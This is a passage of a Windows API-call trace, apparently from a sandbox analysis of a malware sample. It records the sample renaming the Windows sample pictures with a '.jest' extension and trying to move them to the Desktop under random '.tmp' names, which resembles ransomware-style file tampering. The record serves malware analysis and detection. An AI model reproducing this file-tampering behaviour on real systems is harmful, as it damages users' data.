x0YJo7 p2BL_95q56mWt dMjbWechZ3DX7E8q3-JZ6o_1vefMzKttFG7WKs2d_.tmp", lpFilePart=0x18e708*="4_uVgfE9OkYPoA09T4huS_Nb0zwUSk3S5V4d9 x0YJo7 p2BL_95q56mWt dMjbWechZ3DX7E8q3-JZ6o_1vefMzKttFG7WKs2d_.tmp") returned 0x8e [0128.769] GetFullPathNameA (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\ShadesOfBlue.jpg", nBufferLength=0x104, lpBuffer=0x18e83c, lpFilePart=0x18e708 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\ShadesOfBlue.jpg", lpFilePart=0x18e708*="ShadesOfBlue.jpg") returned 0x5e [0128.769] MoveFileA (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\ShadesOfBlue.jpg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows mail\\stationery\\shadesofblue.jpg"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\4_uVgfE9OkYPoA09T4huS_Nb0zwUSk3S5V4d9 x0YJo7 p2BL_95q56mWt dMjbWechZ3DX7E8q3-JZ6o_1vefMzKttFG7WKs2d_.tmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\4_uvgfe9okypoa09t4hus_nb0zwusk3s5v4d9 x0yjo7 p2bl_95q56mwt dmjbwechz3dx7e8q3-jz6o_1vefmzkttfg7wks2d_.tmp")) returned 0 [0128.769] GetLastError () returned 0x2 [0128.769] GetLastError () returned 0x2 [0128.769] SetLastError (dwErrCode=0x2) [0128.770] GetLastError () returned 0x2 [0128.770] SetLastError (dwErrCode=0x2) [0128.770] GetLastError () returned 0x2 [0128.770] SetLastError (dwErrCode=0x2) [0128.770] GetFullPathNameA (in: lpFileName="4_uVgfE9OkYPoA09T4huS_Nb0zwUSk3S5V4d9 x0YJo7 p2BL_95q56mWt dMjbWechZ3DX7E8q3-JZ6o_1vefMzKttFG7WKs2d_.tmp", nBufferLength=0x104, lpBuffer=0x18e81c, lpFilePart=0x18e6e4 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\4_uVgfE9OkYPoA09T4huS_Nb0zwUSk3S5V4d9 x0YJo7 p2BL_95q56mWt dMjbWechZ3DX7E8q3-JZ6o_1vefMzKttFG7WKs2d_.tmp", lpFilePart=0x18e6e4*="4_uVgfE9OkYPoA09T4huS_Nb0zwUSk3S5V4d9 x0YJo7 p2BL_95q56mWt dMjbWechZ3DX7E8q3-JZ6o_1vefMzKttFG7WKs2d_.tmp") returned 0x8e [0128.770] FindFirstFileA (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\4_uVgfE9OkYPoA09T4huS_Nb0zwUSk3S5V4d9 x0YJo7 p2BL_95q56mWt dMjbWechZ3DX7E8q3-JZ6o_1vefMzKttFG7WKs2d_.tmp", lpFindFileData=0x18e6c4 | out: lpFindFileData=0x18e6c4*(dwFileAttributes=0x18e6e4, ftCreationTime.dwLowDateTime=0x18eb48, ftCreationTime.dwHighDateTime=0x18ea3c, ftLastAccessTime.dwLowDateTime=0x18e7f4, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x72a16647, ftLastWriteTime.dwHighDateTime=0x18e81c, nFileSizeHigh=0x18e6ec, nFileSizeLow=0x18e842, dwReserved0=0x7a5901, dwReserved1=0x56755f34, cFileName="gfE9OkYPoA09T4huS_Nb0zwUSk3S5V4d9 x0YJo7 p2BL_95q56mWt dMjbWechZ3DX7E8q3-JZ6o_1vefMzKttFG7WKs2d_.tmp", cAlternateFileName="Pê\x18")) returned 0xffffffff [0128.770] GetLastError () returned 0x2 [0128.770] GetLastError () returned 0x2 [0128.770] SetLastError (dwErrCode=0x2) [0128.774] PeekMessageA (in: lpMsg=0x18eaac, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18eaac) returned 0 [0128.774] CoFreeUnusedLibraries () [0128.774] GetTickCount () returned 0x11529ee [0128.774] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3832ec0 | out: hHeap=0x3820000) returned 1 [0128.774] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3831c18 | out: hHeap=0x3820000) returned 1 [0128.774] GetTickCount () returned 0x11529ee [0128.774] IsWindowVisible (hWnd=0x30268) returned 0 [0128.774] Sleep (dwMilliseconds=0x0) [0128.775] MoveFileA (lpExistingFileName="C:\\Users\\Public\\Pictures\\Sample Pictures\\Chrysanthemum.jpg" (normalized: "c:\\users\\public\\pictures\\sample pictures\\chrysanthemum.jpg"), lpNewFileName="C:\\Users\\Public\\Pictures\\Sample Pictures\\Chrysanthemum.jpg.jest" (normalized: "c:\\users\\public\\pictures\\sample pictures\\chrysanthemum.jpg.jest")) returned 1 [0128.778] GetFullPathNameA (in: lpFileName="C:\\Users\\Public\\Pictures\\Sample Pictures\\Chrysanthemum.jpg", nBufferLength=0x104, lpBuffer=0x18e7f8, lpFilePart=0x18e6d8 | out: lpBuffer="C:\\Users\\Public\\Pictures\\Sample Pictures\\Chrysanthemum.jpg", lpFilePart=0x18e6d8*="Chrysanthemum.jpg") returned 0x3a [0128.779] FindFirstFileA (in: lpFileName="C:\\Users\\Public\\Pictures\\Sample Pictures\\Chrysanthemum.jpg", lpFindFileData=0x18e910 | out: lpFindFileData=0x18e910*(dwFileAttributes=0xfffffffe, ftCreationTime.dwLowDateTime=0x1413658, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x1413628, ftLastAccessTime.dwHighDateTime=0x4020, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x14c88b0, nFileSizeHigh=0x146ad80, nFileSizeLow=0x0, dwReserved0=0xd1, dwReserved1=0x0, cFileName="", cAlternateFileName="¨\x14G\x01½I¢rà\x9aB\x01Hë\x18")) returned 0xffffffff [0128.779] GetLastError () returned 0x2 [0128.779] VarBstrFromR4 (in: fltIn=0x4794464f, lcid=0x409, dwFlags=0x0, pbstrOut=0x18ea48 | out: pbstrOut=0x18ea48*="75916.62") returned 0x0 [0128.779] PeekMessageA (in: lpMsg=0x18e98c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18e98c) returned 0 [0128.780] CoFreeUnusedLibraries () [0128.780] GetTickCount () returned 0x11529ee [0128.780] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3832ec0 | out: hHeap=0x3820000) returned 1 [0128.780] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3831c18 | out: hHeap=0x3820000) returned 1 [0128.780] GetTickCount () returned 0x11529ee [0128.780] IsWindowVisible (hWnd=0x30268) returned 0 [0128.780] Sleep (dwMilliseconds=0x0) [0128.780] GetFullPathNameA (in: lpFileName="gMGNfhL_wks6vipkmne6 QFKlX635aXyQpvOvfEmtq XCnha44uiGSob4dImxdDDrbsWt8D_6CrcMwp5KhYno-2LuoUDWrHPmGC.tmp", nBufferLength=0x104, lpBuffer=0x18e944, lpFilePart=0x18e708 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\gMGNfhL_wks6vipkmne6 QFKlX635aXyQpvOvfEmtq XCnha44uiGSob4dImxdDDrbsWt8D_6CrcMwp5KhYno-2LuoUDWrHPmGC.tmp", lpFilePart=0x18e708*="gMGNfhL_wks6vipkmne6 QFKlX635aXyQpvOvfEmtq XCnha44uiGSob4dImxdDDrbsWt8D_6CrcMwp5KhYno-2LuoUDWrHPmGC.tmp") returned 0x8d [0128.781] GetFullPathNameA (in: lpFileName="C:\\Users\\Public\\Pictures\\Sample Pictures\\Chrysanthemum.jpg", nBufferLength=0x104, lpBuffer=0x18e83c, lpFilePart=0x18e708 | out: lpBuffer="C:\\Users\\Public\\Pictures\\Sample Pictures\\Chrysanthemum.jpg", lpFilePart=0x18e708*="Chrysanthemum.jpg") returned 0x3a [0128.781] MoveFileA (lpExistingFileName="C:\\Users\\Public\\Pictures\\Sample Pictures\\Chrysanthemum.jpg" (normalized: "c:\\users\\public\\pictures\\sample pictures\\chrysanthemum.jpg"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\gMGNfhL_wks6vipkmne6 QFKlX635aXyQpvOvfEmtq XCnha44uiGSob4dImxdDDrbsWt8D_6CrcMwp5KhYno-2LuoUDWrHPmGC.tmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\gmgnfhl_wks6vipkmne6 qfklx635axyqpvovfemtq xcnha44uigsob4dimxdddrbswt8d_6crcmwp5khyno-2luoudwrhpmgc.tmp")) returned 0 [0128.781] GetLastError () returned 0x2 [0128.781] GetLastError () returned 0x2 [0128.781] SetLastError (dwErrCode=0x2) [0128.781] GetLastError () returned 0x2 [0128.781] SetLastError (dwErrCode=0x2) [0128.781] GetLastError () returned 0x2 [0128.781] SetLastError (dwErrCode=0x2) [0128.782] GetFullPathNameA (in: lpFileName="gMGNfhL_wks6vipkmne6 QFKlX635aXyQpvOvfEmtq XCnha44uiGSob4dImxdDDrbsWt8D_6CrcMwp5KhYno-2LuoUDWrHPmGC.tmp", nBufferLength=0x104, lpBuffer=0x18e81c, lpFilePart=0x18e6e4 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\gMGNfhL_wks6vipkmne6 QFKlX635aXyQpvOvfEmtq XCnha44uiGSob4dImxdDDrbsWt8D_6CrcMwp5KhYno-2LuoUDWrHPmGC.tmp", lpFilePart=0x18e6e4*="gMGNfhL_wks6vipkmne6 QFKlX635aXyQpvOvfEmtq XCnha44uiGSob4dImxdDDrbsWt8D_6CrcMwp5KhYno-2LuoUDWrHPmGC.tmp") returned 0x8d [0128.782] FindFirstFileA (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\gMGNfhL_wks6vipkmne6 QFKlX635aXyQpvOvfEmtq XCnha44uiGSob4dImxdDDrbsWt8D_6CrcMwp5KhYno-2LuoUDWrHPmGC.tmp", lpFindFileData=0x18e6c4 | out: lpFindFileData=0x18e6c4*(dwFileAttributes=0x18e6e4, ftCreationTime.dwLowDateTime=0x18eb48, ftCreationTime.dwHighDateTime=0x18ea3c, ftLastAccessTime.dwLowDateTime=0x18e7f4, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x72a16647, ftLastWriteTime.dwHighDateTime=0x18e81c, nFileSizeHigh=0x18e6ec, nFileSizeLow=0x18e842, dwReserved0=0x7a5901, dwReserved1=0x4e474d67, cFileName="fhL_wks6vipkmne6 QFKlX635aXyQpvOvfEmtq XCnha44uiGSob4dImxdDDrbsWt8D_6CrcMwp5KhYno-2LuoUDWrHPmGC.tmp", cAlternateFileName="Pê\x18")) returned 0xffffffff [0128.782] GetLastError () returned 0x2 [0128.782] GetLastError () returned 0x2 [0128.782] SetLastError (dwErrCode=0x2) [0128.782] PeekMessageA (in: lpMsg=0x18eaac, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18eaac) returned 0 [0128.783] CoFreeUnusedLibraries () [0128.783] GetTickCount () returned 0x11529ee [0128.783] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3832ec0 | out: hHeap=0x3820000) returned 1 [0128.783] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3831c18 | out: hHeap=0x3820000) returned 1 [0128.783] GetTickCount () returned 0x11529ee [0128.783] IsWindowVisible (hWnd=0x30268) returned 0 [0128.783] Sleep (dwMilliseconds=0x0) [0128.783] MoveFileA (lpExistingFileName="C:\\Users\\Public\\Pictures\\Sample Pictures\\Desert.jpg" (normalized: "c:\\users\\public\\pictures\\sample pictures\\desert.jpg"), lpNewFileName="C:\\Users\\Public\\Pictures\\Sample Pictures\\Desert.jpg.jest" (normalized: "c:\\users\\public\\pictures\\sample pictures\\desert.jpg.jest")) returned 1 [0128.784] GetFullPathNameA (in: lpFileName="C:\\Users\\Public\\Pictures\\Sample Pictures\\Desert.jpg", nBufferLength=0x104, lpBuffer=0x18e7f8, lpFilePart=0x18e6d8 | out: lpBuffer="C:\\Users\\Public\\Pictures\\Sample Pictures\\Desert.jpg", lpFilePart=0x18e6d8*="Desert.jpg") returned 0x33 [0128.784] FindFirstFileA (in: lpFileName="C:\\Users\\Public\\Pictures\\Sample Pictures\\Desert.jpg", lpFindFileData=0x18e910 | out: lpFindFileData=0x18e910*(dwFileAttributes=0xfffffffe, ftCreationTime.dwLowDateTime=0x1413658, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x1413628, ftLastAccessTime.dwHighDateTime=0x4020, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x14c88b0, nFileSizeHigh=0x146ad80, nFileSizeLow=0x0, dwReserved0=0xd1, dwReserved1=0x0, cFileName="", cAlternateFileName="¨\x14G\x01½I¢rà\x9aB\x01Hë\x18")) returned 0xffffffff [0128.784] GetLastError () returned 0x2 [0128.785] VarBstrFromR4 (in: fltIn=0x4794464f, lcid=0x409, dwFlags=0x0, pbstrOut=0x18ea48 | out: pbstrOut=0x18ea48*="75916.62") returned 0x0 [0128.785] PeekMessageA (in: lpMsg=0x18e98c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18e98c) returned 0 [0128.785] CoFreeUnusedLibraries () [0128.785] GetTickCount () returned 0x11529ee [0128.785] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3832ec0 | out: hHeap=0x3820000) returned 1 [0128.785] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3831c18 | out: hHeap=0x3820000) returned 1 [0128.785] GetTickCount () returned 0x11529ee [0128.785] IsWindowVisible (hWnd=0x30268) returned 0 [0128.785] Sleep (dwMilliseconds=0x0) [0128.786] GetFullPathNameA (in: lpFileName="4HMD12iB86DZ3cmtpuezc8euBbHODIpYrtLBsNkxDdfaOPKt972O5 afCoL25hzLJlnwrL_p7f4SLcbCd3ZJmMo7IFWrnOoHIuSy.tmp", nBufferLength=0x104, lpBuffer=0x18e944, lpFilePart=0x18e708 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\4HMD12iB86DZ3cmtpuezc8euBbHODIpYrtLBsNkxDdfaOPKt972O5 afCoL25hzLJlnwrL_p7f4SLcbCd3ZJmMo7IFWrnOoHIuSy.tmp", lpFilePart=0x18e708*="4HMD12iB86DZ3cmtpuezc8euBbHODIpYrtLBsNkxDdfaOPKt972O5 afCoL25hzLJlnwrL_p7f4SLcbCd3ZJmMo7IFWrnOoHIuSy.tmp") returned 0x8e [0128.786] GetFullPathNameA (in: lpFileName="C:\\Users\\Public\\Pictures\\Sample Pictures\\Desert.jpg", nBufferLength=0x104, lpBuffer=0x18e83c, lpFilePart=0x18e708 | out: lpBuffer="C:\\Users\\Public\\Pictures\\Sample Pictures\\Desert.jpg", lpFilePart=0x18e708*="Desert.jpg") returned 0x33 [0128.786] MoveFileA (lpExistingFileName="C:\\Users\\Public\\Pictures\\Sample Pictures\\Desert.jpg" (normalized: "c:\\users\\public\\pictures\\sample pictures\\desert.jpg"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\4HMD12iB86DZ3cmtpuezc8euBbHODIpYrtLBsNkxDdfaOPKt972O5 afCoL25hzLJlnwrL_p7f4SLcbCd3ZJmMo7IFWrnOoHIuSy.tmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\4hmd12ib86dz3cmtpuezc8eubbhodipyrtlbsnkxddfaopkt972o5 afcol25hzljlnwrl_p7f4slcbcd3zjmmo7ifwrnoohiusy.tmp")) returned 0 [0128.786] GetLastError () returned 0x2 [0128.786] GetLastError () returned 0x2 [0128.787] SetLastError (dwErrCode=0x2) [0128.787] GetLastError () returned 0x2 [0128.787] SetLastError (dwErrCode=0x2) [0128.787] GetLastError () returned 0x2 [0128.787] SetLastError (dwErrCode=0x2) [0128.787] GetFullPathNameA (in: lpFileName="4HMD12iB86DZ3cmtpuezc8euBbHODIpYrtLBsNkxDdfaOPKt972O5 afCoL25hzLJlnwrL_p7f4SLcbCd3ZJmMo7IFWrnOoHIuSy.tmp", nBufferLength=0x104, lpBuffer=0x18e81c, lpFilePart=0x18e6e4 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\4HMD12iB86DZ3cmtpuezc8euBbHODIpYrtLBsNkxDdfaOPKt972O5 afCoL25hzLJlnwrL_p7f4SLcbCd3ZJmMo7IFWrnOoHIuSy.tmp", lpFilePart=0x18e6e4*="4HMD12iB86DZ3cmtpuezc8euBbHODIpYrtLBsNkxDdfaOPKt972O5 afCoL25hzLJlnwrL_p7f4SLcbCd3ZJmMo7IFWrnOoHIuSy.tmp") returned 0x8e [0128.787] FindFirstFileA (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\4HMD12iB86DZ3cmtpuezc8euBbHODIpYrtLBsNkxDdfaOPKt972O5 afCoL25hzLJlnwrL_p7f4SLcbCd3ZJmMo7IFWrnOoHIuSy.tmp", lpFindFileData=0x18e6c4 | out: lpFindFileData=0x18e6c4*(dwFileAttributes=0x18e6e4, ftCreationTime.dwLowDateTime=0x18eb48, ftCreationTime.dwHighDateTime=0x18ea3c, ftLastAccessTime.dwLowDateTime=0x18e7f4, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x72a16647, ftLastWriteTime.dwHighDateTime=0x18e81c, nFileSizeHigh=0x18e6ec, nFileSizeLow=0x18e842, dwReserved0=0x7a5901, dwReserved1=0x444d4834, cFileName="12iB86DZ3cmtpuezc8euBbHODIpYrtLBsNkxDdfaOPKt972O5 afCoL25hzLJlnwrL_p7f4SLcbCd3ZJmMo7IFWrnOoHIuSy.tmp", cAlternateFileName="Pê\x18")) returned 0xffffffff [0128.787] GetLastError () returned 0x2 [0128.787] GetLastError () returned 0x2 [0128.787] SetLastError (dwErrCode=0x2) [0128.788] PeekMessageA (in: lpMsg=0x18eaac, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18eaac) returned 0 [0128.788] CoFreeUnusedLibraries () [0128.788] GetTickCount () returned 0x11529fe [0128.788] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3832ec0 | out: hHeap=0x3820000) returned 1 [0128.788] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3831c18 | out: hHeap=0x3820000) returned 1 [0128.788] GetTickCount () returned 0x11529fe [0128.788] IsWindowVisible (hWnd=0x30268) returned 0 [0128.788] Sleep (dwMilliseconds=0x0) [0128.791] MoveFileA (lpExistingFileName="C:\\Users\\Public\\Pictures\\Sample Pictures\\Hydrangeas.jpg" (normalized: "c:\\users\\public\\pictures\\sample pictures\\hydrangeas.jpg"), lpNewFileName="C:\\Users\\Public\\Pictures\\Sample Pictures\\Hydrangeas.jpg.jest" (normalized: "c:\\users\\public\\pictures\\sample pictures\\hydrangeas.jpg.jest")) returned 1 [0128.792] GetFullPathNameA (in: lpFileName="C:\\Users\\Public\\Pictures\\Sample Pictures\\Hydrangeas.jpg", nBufferLength=0x104, lpBuffer=0x18e7f8, lpFilePart=0x18e6d8 | out: lpBuffer="C:\\Users\\Public\\Pictures\\Sample Pictures\\Hydrangeas.jpg", lpFilePart=0x18e6d8*="Hydrangeas.jpg") returned 0x37 [0128.792] FindFirstFileA (in: lpFileName="C:\\Users\\Public\\Pictures\\Sample Pictures\\Hydrangeas.jpg", lpFindFileData=0x18e910 | out: lpFindFileData=0x18e910*(dwFileAttributes=0xfffffffe, ftCreationTime.dwLowDateTime=0x1413658, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x1413628, ftLastAccessTime.dwHighDateTime=0x4020, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x14c88b0, nFileSizeHigh=0x146ad80, nFileSizeLow=0x0, dwReserved0=0xd1, dwReserved1=0x0, cFileName="", cAlternateFileName="¨\x14G\x01½I¢rà\x9aB\x01Hë\x18")) returned 0xffffffff [0128.792] GetLastError () returned 0x2 [0128.792] VarBstrFromR4 (in: fltIn=0x47944651, lcid=0x409, dwFlags=0x0, pbstrOut=0x18ea48 | out: pbstrOut=0x18ea48*="75916.63") returned 0x0 [0128.792] PeekMessageA (in: lpMsg=0x18e98c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18e98c) returned 0 [0128.792] CoFreeUnusedLibraries () [0128.792] GetTickCount () returned 0x11529fe [0128.793] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3832ec0 | out: hHeap=0x3820000) returned 1 [0128.793] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3831c18 | out: hHeap=0x3820000) returned 1 [0128.793] GetTickCount () returned 0x11529fe [0128.793] IsWindowVisible (hWnd=0x30268) returned 0 [0128.793] Sleep (dwMilliseconds=0x0) [0128.793] GetFullPathNameA (in: lpFileName="RArvKe_BR4wt8ZOwiLhX1h86ETt IQWzE--EGSxnLGtlFssoQx4IM7yh0tsxrj5kRmqVqA9UYxERzLXDDy6t2bIMsgSwcBkhHPjm6.tmp", nBufferLength=0x104, lpBuffer=0x18e944, lpFilePart=0x18e708 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\RArvKe_BR4wt8ZOwiLhX1h86ETt IQWzE--EGSxnLGtlFssoQx4IM7yh0tsxrj5kRmqVqA9UYxERzLXDDy6t2bIMsgSwcBkhHPjm6.tmp", lpFilePart=0x18e708*="RArvKe_BR4wt8ZOwiLhX1h86ETt IQWzE--EGSxnLGtlFssoQx4IM7yh0tsxrj5kRmqVqA9UYxERzLXDDy6t2bIMsgSwcBkhHPjm6.tmp") returned 0x8f [0128.793] GetFullPathNameA (in: lpFileName="C:\\Users\\Public\\Pictures\\Sample Pictures\\Hydrangeas.jpg", nBufferLength=0x104, lpBuffer=0x18e83c, lpFilePart=0x18e708 | out: lpBuffer="C:\\Users\\Public\\Pictures\\Sample Pictures\\Hydrangeas.jpg", lpFilePart=0x18e708*="Hydrangeas.jpg") returned 0x37 [0128.794] MoveFileA (lpExistingFileName="C:\\Users\\Public\\Pictures\\Sample Pictures\\Hydrangeas.jpg" (normalized: "c:\\users\\public\\pictures\\sample pictures\\hydrangeas.jpg"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\RArvKe_BR4wt8ZOwiLhX1h86ETt IQWzE--EGSxnLGtlFssoQx4IM7yh0tsxrj5kRmqVqA9UYxERzLXDDy6t2bIMsgSwcBkhHPjm6.tmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\rarvke_br4wt8zowilhx1h86ett iqwze--egsxnlgtlfssoqx4im7yh0tsxrj5krmqvqa9uyxerzlxddy6t2bimsgswcbkhhpjm6.tmp")) returned 0 [0128.794] GetLastError () returned 0x2 [0128.794] GetLastError () returned 0x2 [0128.794] SetLastError (dwErrCode=0x2) [0128.794] GetLastError () returned 0x2 [0128.794] SetLastError (dwErrCode=0x2) [0128.794] GetLastError () returned 0x2 [0128.794] SetLastError (dwErrCode=0x2) [0128.794] GetFullPathNameA (in: lpFileName="RArvKe_BR4wt8ZOwiLhX1h86ETt IQWzE--EGSxnLGtlFssoQx4IM7yh0tsxrj5kRmqVqA9UYxERzLXDDy6t2bIMsgSwcBkhHPjm6.tmp", nBufferLength=0x104, lpBuffer=0x18e81c, lpFilePart=0x18e6e4 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\RArvKe_BR4wt8ZOwiLhX1h86ETt IQWzE--EGSxnLGtlFssoQx4IM7yh0tsxrj5kRmqVqA9UYxERzLXDDy6t2bIMsgSwcBkhHPjm6.tmp", lpFilePart=0x18e6e4*="RArvKe_BR4wt8ZOwiLhX1h86ETt IQWzE--EGSxnLGtlFssoQx4IM7yh0tsxrj5kRmqVqA9UYxERzLXDDy6t2bIMsgSwcBkhHPjm6.tmp") returned 0x8f [0128.794] FindFirstFileA (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\RArvKe_BR4wt8ZOwiLhX1h86ETt IQWzE--EGSxnLGtlFssoQx4IM7yh0tsxrj5kRmqVqA9UYxERzLXDDy6t2bIMsgSwcBkhHPjm6.tmp", lpFindFileData=0x18e6c4 | out: lpFindFileData=0x18e6c4*(dwFileAttributes=0x18e6e4, ftCreationTime.dwLowDateTime=0x18eb48, ftCreationTime.dwHighDateTime=0x18ea3c, ftLastAccessTime.dwLowDateTime=0x18e7f4, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x72a16647, ftLastWriteTime.dwHighDateTime=0x18e81c, nFileSizeHigh=0x18e6ec, nFileSizeLow=0x18e842, dwReserved0=0x7a5901, dwReserved1=0x76724152, cFileName="Ke_BR4wt8ZOwiLhX1h86ETt IQWzE--EGSxnLGtlFssoQx4IM7yh0tsxrj5kRmqVqA9UYxERzLXDDy6t2bIMsgSwcBkhHPjm6.tmp", cAlternateFileName="Pê\x18")) returned 0xffffffff [0128.795] GetLastError () returned 0x2 [0128.795] GetLastError () returned 0x2 [0128.795] SetLastError (dwErrCode=0x2) [0128.795] PeekMessageA (in: lpMsg=0x18eaac, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18eaac) returned 0 [0128.795] CoFreeUnusedLibraries () [0128.795] GetTickCount () returned 0x11529fe [0128.795] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3832ec0 | out: hHeap=0x3820000) returned 1 [0128.795] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3831c18 | out: hHeap=0x3820000) returned 1 [0128.795] GetTickCount () returned 0x11529fe [0128.795] IsWindowVisible (hWnd=0x30268) returned 0 [0128.796] Sleep (dwMilliseconds=0x0) [0128.796] MoveFileA (lpExistingFileName="C:\\Users\\Public\\Pictures\\Sample Pictures\\Jellyfish.jpg" (normalized: "c:\\users\\public\\pictures\\sample pictures\\jellyfish.jpg"), lpNewFileName="C:\\Users\\Public\\Pictures\\Sample Pictures\\Jellyfish.jpg.jest" (normalized: "c:\\users\\public\\pictures\\sample pictures\\jellyfish.jpg.jest")) returned 1 [0128.797] GetFullPathNameA (in: lpFileName="C:\\Users\\Public\\Pictures\\Sample Pictures\\Jellyfish.jpg", nBufferLength=0x104, lpBuffer=0x18e7f8, lpFilePart=0x18e6d8 | out: lpBuffer="C:\\Users\\Public\\Pictures\\Sample Pictures\\Jellyfish.jpg", lpFilePart=0x18e6d8*="Jellyfish.jpg") returned 0x36 [0128.797] FindFirstFileA (in: lpFileName="C:\\Users\\Public\\Pictures\\Sample Pictures\\Jellyfish.jpg", lpFindFileData=0x18e910 | out: lpFindFileData=0x18e910*(dwFileAttributes=0xfffffffe, ftCreationTime.dwLowDateTime=0x1413658, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x1413628, ftLastAccessTime.dwHighDateTime=0x4020, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x14c88b0, nFileSizeHigh=0x146ad80, nFileSizeLow=0x0, dwReserved0=0xd1, dwReserved1=0x0, cFileName="", cAlternateFileName="¨\x14G\x01½I¢rà\x9aB\x01Hë\x18")) returned 0xffffffff [0128.797] GetLastError () returned 0x2 [0128.797] VarBstrFromR4 (in: fltIn=0x47944651, lcid=0x409, dwFlags=0x0, pbstrOut=0x18ea48 | out: pbstrOut=0x18ea48*="75916.63") returned 0x0 [0128.798] PeekMessageA (in: lpMsg=0x18e98c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18e98c) returned 0 [0128.798] CoFreeUnusedLibraries () [0128.798] GetTickCount () returned 0x11529fe [0128.798] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3832ec0 | out: hHeap=0x3820000) returned 1 [0128.798] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3831c18 | out: hHeap=0x3820000) returned 1 [0128.798] GetTickCount () returned 0x11529fe [0128.798] IsWindowVisible (hWnd=0x30268) returned 0 [0128.798] Sleep (dwMilliseconds=0x0) [0128.798] GetFullPathNameA (in: lpFileName="Xn2pcbD9cqCKSajXG-EE_xp9q CM6X1UYe801ARXUqOVtZDcMJmxcqNb KMyER2DQw3bG3476eI_ZurbBx5ThR1ZDzGwTmtvFzcu.tmp", nBufferLength=0x104, lpBuffer=0x18e944, lpFilePart=0x18e708 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\Xn2pcbD9cqCKSajXG-EE_xp9q CM6X1UYe801ARXUqOVtZDcMJmxcqNb KMyER2DQw3bG3476eI_ZurbBx5ThR1ZDzGwTmtvFzcu.tmp", 